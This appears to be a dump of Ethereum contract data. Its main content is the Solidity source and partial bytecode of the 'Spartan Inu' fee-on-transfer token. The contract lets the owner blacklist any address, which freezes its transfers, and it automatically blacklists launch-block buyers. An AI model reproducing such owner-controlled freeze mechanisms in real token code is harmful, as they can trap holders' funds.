565b60006020820190508181036000830152612cd581612967565b9050919050565b60006020820190508181036000830152612cf58161298a565b9050919050565b60006020820190508181036000830152612d15816129ad565b9050919050565b60006020820190508181036000830152612d35816129d0565b9050919050565b60006020820190508181036000830152612d55816129f3565b9050919050565b60006020820190508181036000830152612d7581612a16565b9050919050565b6000602082019050612d916000830184612a48565b92915050565b600060c082019050612dac6000830189612a48565b8181036020830152612dbe81886127f3565b90508181036040830152612dd281876127f3565b9050612de16060830186612a48565b612dee6080830185612a48565b81810360a0830152612e0081846127f3565b9050979650505050505050565b6000602082019050612e226000830184612a57565b92915050565b6000612e32612e43565b9050612e3e828261326c565b919050565b6000604051905090565b600067ffffffffffffffff821115612e6857612e676133a2565b5b612e71826133e5565b9050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f28826131e1565b9150612f33836131e1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f6857612f676132e6565b5b828201905092915050565b6000612f7e826131e1565b9150612f89836131e1565b925082612f9957612f98613315565b5b828204905092915050565b6000808291508390505b6001851115612fee57808604811115612fca57612fc96132e6565b5b6001851615612fd95780820291505b8081029050612fe7856133f6565b9450612fae565b94509492505050565b6000613002826131e1565b915061300d836131eb565b925061303a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613042565b905092915050565b600082613052576001905061310e565b81613060576000905061310e565b81600181146130765760028114613080576130af565b600191505061310e565b60ff841115613092576130916132e6565b5b8360020a9150848211156130a9576130a86132e6565b5b5061310e565b5060208310610133831016604e8410600b84101617156130e45782820a9050838111156130df576130de6132e6565b5b61310e565b6130f18484846001612fa4565b92509050818404811115613108576131076132e6565b5b81810290505b9392505050565b6000613120826131e1565b915061312b836131e1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613164576131636132e6565b5b828202905092915050565b600061317a826131e1565b9150613185836131e1565b925082821015613198576131976132e6565b5b828203905092915050565b60006131ae826131c1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b8381101561322557808201518184015260208101905061320a565b83811115613234576000848401525b50505050565b6000600282049050600182168061325257607f821691505b6020821081141561326657613265613344565b5b50919050565b613275826133e5565b810181811067ffffffffffffffff82111715613294576132936133a2565b5b80604052505050565b60006132a8826131e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132db576132da6132e6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f417070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f496e76616c696420706f736974696f6e2c2076616c756520697320677265617460008201527f6572207468616e20746865205f636f6c6c61746572616c4c6973740000000000602082015250565b7f596f7520617265206e6f7420746865206e6577206f776e657200000000000000600082015250565b7f596f7520617265206e6f7420746865206f776e65720000000000000000000000600082015250565b7f417070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b7f496e76616c6964206163636f756e742061646472657373000000000000000000600082015250565b7f436f6e7472616374206973206e6f74207061757365642e000000000000000000600082015250565b7f53656e64657220496e76616c6964206164647265737300000000000000000000600082015250565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b7f436f6e7472616374206973207061757365642e00000000000000000000000000600082015250565b7f496e76616c696420696e64657865732c2076616c75652069732067726561746560008201527f72207468616e20746865205f636f6c6c61746572616c4c697374210000000000602082015250565b7f526563697069656e7420496e76616c6964204164647265737300000000000000600082015250565b6136bf816131a3565b81146136ca57600080fd5b50565b6136d6816131e1565b81146136e157600080fd5b5056fea2646970667358221220a20c4b0fc726acd4c98073174ea70250c027952c74d215411d8c7de057ae124364736f6c63430008050033
{"success": true, "error": null, "results": {}}
2,716
0xd3c77849c81c703248f5a54fea20e5917c9f1302
// SPDX-License-Identifier: Unlicensed //SPARTANINU //https://t.me/spartaninu //Madness...? THIS IS SPARTA!!! pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SPARTANINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Spartan Inu"; string private constant _symbol = "SPARTANINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 4; uint256 private _taxFeeJeets = 4; uint256 private _redisFeeOnBuy = 4; uint256 private _taxFeeOnBuy = 4; uint256 private _redisFeeOnSell = 4; uint256 private _taxFeeOnSell = 4; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 4; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xD85a8fE54A2e0074891ab1600b2e6F8BCFD2AF72); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 1 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 2e8 * 10**9; uint256 public _maxWalletSize = 2e8 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 1e8 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 20 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e7 * 10**9, "Maximum transaction amount must be greater than 0.5%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 10); require(amountRefSell >= 0 && amountRefSell <= 10); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { require(amount >= 0 && amount <= 1); _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { require(amountRedisJeets >= 0 && amountRedisJeets <= 1); require(amountTaxJeets >= 0 && amountTaxJeets <= 19); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { require(hoursTime >= 0 && hoursTime <= 4); timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e14610668578063e0f9f6a0146106ae578063ea1644d5146106ce578063f2fde38b146106ee578063fe72c3c11461070e57600080fd5b80639e78fb4f146105d35780639ec350ed146105e85780639f13157114610608578063a9059cbb14610628578063c55284901461064857600080fd5b80637d1db4a5116100f25780637d1db4a514610536578063881dce601461054c5780638da5cb5b1461056c5780638f9a55c01461058a57806395d89b41146105a057600080fd5b8063715018a6146104d657806374010ece146104eb578063790ca4131461050b5780637c519ffb1461052157600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b381461044b5780636b9cf5341461046b5780636d8aa8f8146104815780636fc3eaec146104a157806370a08231146104b657600080fd5b8063313ce567146103af57806333251a0b146103cb57806338eea22d146103eb57806349bd5a5e1461040b5780634bf2c7c91461042b57600080fd5b806318160ddd116101f857806318160ddd1461031c57806323b872dd1461034157806327c8f8351461036157806328bb665a146103775780632fd689e31461039957600080fd5b806306fdde0314610235578063095ea7b31461027b5780630f3a325f146102ab5780631694505e146102e457600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600b81526a5370617274616e20496e7560a81b60208201525b6040516102729190612228565b60405180910390f35b34801561028757600080fd5b5061029b6102963660046120d3565b610724565b6040519015158152602001610272565b3480156102b757600080fd5b5061029b6102c636600461201f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102f057600080fd5b50601954610304906001600160a01b031681565b6040516001600160a01b039091168152602001610272565b34801561032857600080fd5b50678ac7230489e800005b604051908152602001610272565b34801561034d57600080fd5b5061029b61035c366004612092565b61073b565b34801561036d57600080fd5b5061030461dead81565b34801561038357600080fd5b506103976103923660046120ff565b6107a4565b005b3480156103a557600080fd5b50610333601d5481565b3480156103bb57600080fd5b5060405160098152602001610272565b3480156103d757600080fd5b506103976103e636600461201f565b610843565b3480156103f757600080fd5b50610397610406366004612206565b6108b2565b34801561041757600080fd5b50601a54610304906001600160a01b031681565b34801561043757600080fd5b506103976104463660046121ed565b610903565b34801561045757600080fd5b5061039761046636600461201f565b610940565b34801561047757600080fd5b50610333601e5481565b34801561048d57600080fd5b5061039761049c3660046121cb565b61099a565b3480156104ad57600080fd5b506103976109e2565b3480156104c257600080fd5b506103336104d136600461201f565b610a0c565b3480156104e257600080fd5b50610397610a2e565b3480156104f757600080fd5b506103976105063660046121ed565b610aa2565b34801561051757600080fd5b50610333600a5481565b34801561052d57600080fd5b50610397610b45565b34801561054257600080fd5b50610333601b5481565b34801561055857600080fd5b506103976105673660046121ed565b610b9f565b34801561057857600080fd5b506000546001600160a01b0316610304565b34801561059657600080fd5b50610333601c5481565b3480156105ac57600080fd5b5060408051808201909152600a8152695350415254414e494e5560b01b6020820152610265565b3480156105df57600080fd5b50610397610c1b565b3480156105f457600080fd5b50610397610603366004612206565b610e00565b34801561061457600080fd5b506103976106233660046121cb565b610e51565b34801561063457600080fd5b5061029b6106433660046120d3565b610e99565b34801561065457600080fd5b50610397610663366004612206565b610ea6565b34801561067457600080fd5b50610333610683366004612059565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106ba57600080fd5b506103976106c93660046121ed565b610ef7565b3480156106da57600080fd5b506103976106e93660046121ed565b610f41565b3480156106fa57600080fd5b5061039761070936600461201f565b610f7f565b34801561071a57600080fd5b5061033360185481565b6000610731338484611069565b5060015b92915050565b600061074884848461118d565b61079a84336107958560405180606001604052806028815260200161242d602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906118b4565b611069565b5060019392505050565b6000546001600160a01b031633146107d75760405162461bcd60e51b81526004016107ce9061227d565b60405180910390fd5b60005b815181101561083f576001600960008484815181106107fb576107fb6123eb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610837816123ba565b9150506107da565b5050565b6000546001600160a01b0316331461086d5760405162461bcd60e51b81526004016107ce9061227d565b6001600160a01b03811660009081526009602052604090205460ff16156108af576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108dc5760405162461bcd60e51b81526004016107ce9061227d565b600a8211156108ea57600080fd5b600a8111156108f857600080fd5b600d91909155600f55565b6000546001600160a01b0316331461092d5760405162461bcd60e51b81526004016107ce9061227d565b600181111561093b57600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461096057600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109c45760405162461bcd60e51b81526004016107ce9061227d565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610a0257600080fd5b476108af816118ee565b6001600160a01b03811660009081526002602052604081205461073590611928565b6000546001600160a01b03163314610a585760405162461bcd60e51b81526004016107ce9061227d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610acc5760405162461bcd60e51b81526004016107ce9061227d565b66b1a2bc2ec50000811015610b405760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107ce565b601b55565b6000546001600160a01b03163314610b6f5760405162461bcd60e51b81526004016107ce9061227d565b601a54600160a01b900460ff1615610b8657600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610bbf57600080fd5b610bc830610a0c565b8111158015610bd75750600081115b610c125760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ce565b6108af816119ac565b6000546001600160a01b03163314610c455760405162461bcd60e51b81526004016107ce9061227d565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610ca557600080fd5b505afa158015610cb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdd919061203c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2557600080fd5b505afa158015610d39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5d919061203c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610da557600080fd5b505af1158015610db9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddd919061203c565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610e2a5760405162461bcd60e51b81526004016107ce9061227d565b6001821115610e3857600080fd5b6013811115610e4657600080fd5b600b91909155600c55565b6000546001600160a01b03163314610e7b5760405162461bcd60e51b81526004016107ce9061227d565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061073133848461118d565b6000546001600160a01b03163314610ed05760405162461bcd60e51b81526004016107ce9061227d565b600d821115610ede57600080fd5b600d811115610eec57600080fd5b600e91909155601055565b6000546001600160a01b03163314610f215760405162461bcd60e51b81526004016107ce9061227d565b6004811115610f2f57600080fd5b610f3b81610e10612384565b60185550565b6000546001600160a01b03163314610f6b5760405162461bcd60e51b81526004016107ce9061227d565b601c54811015610f7a57600080fd5b601c55565b6000546001600160a01b03163314610fa95760405162461bcd60e51b81526004016107ce9061227d565b6001600160a01b03811661100e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ce565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110cb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ce565b6001600160a01b03821661112c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ce565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111f15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ce565b6001600160a01b0382166112535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ce565b600081116112b55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ce565b6001600160a01b03821660009081526009602052604090205460ff16156112ee5760405162461bcd60e51b81526004016107ce906122b2565b6001600160a01b03831660009081526009602052604090205460ff16156113275760405162461bcd60e51b81526004016107ce906122b2565b3360009081526009602052604090205460ff16156113575760405162461bcd60e51b81526004016107ce906122b2565b6000546001600160a01b0384811691161480159061138357506000546001600160a01b03838116911614155b156116fc57601a54600160a01b900460ff166113e15760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ce565b601a546001600160a01b03838116911614801561140c57506019546001600160a01b03848116911614155b156114be576001600160a01b038216301480159061143357506001600160a01b0383163014155b801561144d57506017546001600160a01b03838116911614155b801561146757506017546001600160a01b03848116911614155b156114be57601b548111156114be5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ce565b601a546001600160a01b038381169116148015906114ea57506017546001600160a01b03838116911614155b80156114ff57506001600160a01b0382163014155b801561151657506001600160a01b03821661dead14155b156115f657601c548161152884610a0c565b611532919061234a565b1061158b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ce565b601a54600160b81b900460ff16156115f657600a546115ac906104b061234a565b42116115f657601e548111156115f65760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107ce565b600061160130610a0c565b601d5490915081118080156116205750601a54600160a81b900460ff16155b801561163a5750601a546001600160a01b03868116911614155b801561164f5750601a54600160b01b900460ff165b801561167457506001600160a01b03851660009081526006602052604090205460ff16155b801561169957506001600160a01b03841660009081526006602052604090205460ff16155b156116f957601354600090156116d4576116c960646116c360135486611b3590919063ffffffff16565b90611bb4565b90506116d481611bf6565b6116e66116e182856123a3565b6119ac565b4780156116f6576116f6476118ee565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061173e57506001600160a01b03831660009081526006602052604090205460ff165b806117705750601a546001600160a01b038581169116148015906117705750601a546001600160a01b03848116911614155b1561177d575060006118a2565b601a546001600160a01b0385811691161480156117a857506019546001600160a01b03848116911614155b15611803576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611803576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561182e57506019546001600160a01b03858116911614155b156118a2576001600160a01b0384166000908152600460205260409020541580159061187f57506018546001600160a01b038516600090815260046020526040902054429161187c9161234a565b10155b1561189557600b54601155600c546012556118a2565b600f546011556010546012555b6118ae84848484611c03565b50505050565b600081848411156118d85760405162461bcd60e51b81526004016107ce9190612228565b5060006118e584866123a3565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083f573d6000803e3d6000fd5b600060075482111561198f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ce565b6000611999611c37565b90